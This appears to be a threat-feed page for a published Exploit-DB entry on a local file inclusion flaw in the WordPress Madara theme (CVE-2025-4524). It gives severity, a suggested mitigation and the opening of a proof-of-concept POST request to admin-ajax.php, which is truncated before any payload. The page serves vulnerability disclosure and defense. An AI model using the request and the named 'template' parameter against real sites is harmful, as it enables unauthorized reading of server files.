Skip to main content
ExploitPublished

WordPress Madara · Local File Inclusion

Source Exploit-DB RSS Feed

0

Mentioned vulnerabilities

Severity
Medium

Rated by Threat Radar

Data as of 22 Apr 2026, 07:07 UTC

What to do

AI-suggested

Until an official fix is available, it is recommended to restrict access to the vulnerable admin-ajax.php endpoint and implement web application firewall (WAF) rules to detect and block attempts to exploit local file inclusion via the 'template' parameter in POST requests.

Description

WordPress Madara - Local File Inclusion

Indicators of compromise

Exploit source code

Exploit code for WordPress Madara - Local File Inclusion1,205 characters
# Exploit Title: WordPress Madara Local File Inclusion 
# Date: November 1, 2025
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: WordPress Theme Madara
# Software Link: WordPress Theme Madara
# Tested on: [OS / PHP / WordPress versions used in testing — e.g., Ubuntu 22.04, PHP 8.1, WP 6.4]
# CVE: CVE-2025-4524


#Attack Vector
body="/wp-content/plugins/madara/"

#POC
POST /wp-admin/admin-ajax.php HTTP/2
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/2010…

References

Community reviews

Loading reviews…